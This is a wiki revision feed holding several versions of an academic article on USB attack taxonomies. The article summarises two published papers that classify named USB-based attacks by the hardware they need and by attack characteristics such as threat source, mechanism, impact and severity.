## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name&amp;quot;usbcametobe&amp;quot;&amp;gt; https://spectrum.ieee.org/how-usb-came-to-be, accessed on 22 Sep 2024 &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17060</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17060"/>
		<updated>2024-12-13T14:10:30Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;/&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name&amp;quot;usbcametobe&amp;quot;&amp;gt; https://spectrum.ieee.org/how-usb-came-to-be, accessed on 22 Sep 2024 &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17059</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17059"/>
		<updated>2024-12-13T14:08:30Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995&amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;/&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks&amp;lt;ref name=&amp;quot;nissim2027&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ref name&amp;quot;usbcametobe&amp;quot;&amp;gt; https://spectrum.ieee.org/how-usb-came-to-be, accessed on 22 Sep 2024 &amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;nissim2017&amp;quot;&amp;gt; Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;&amp;gt; Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/references&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17058</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=17058"/>
		<updated>2024-12-13T14:07:52Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Goal of an USB Attack Taxonomy */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref name=&amp;quot;usbcametobe&amp;quot;/&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices &amp;lt;ref name=&amp;quot;nissim2017&amp;quot;/&amp;gt;. This article provides an overview of how the variety of existing USB attacks can be categorized by the USB attack taxonomy. For indepth details, please refer to the respective work. The graphics are a reconstruction of the original graphics in the respective papers.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks &amp;lt;ref name=&amp;quot;nissim2027&amp;quot;/&amp;gt;&amp;lt;ref name=&amp;quot;mamchenko2019&amp;quot;/&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the required hardware ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on attack characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
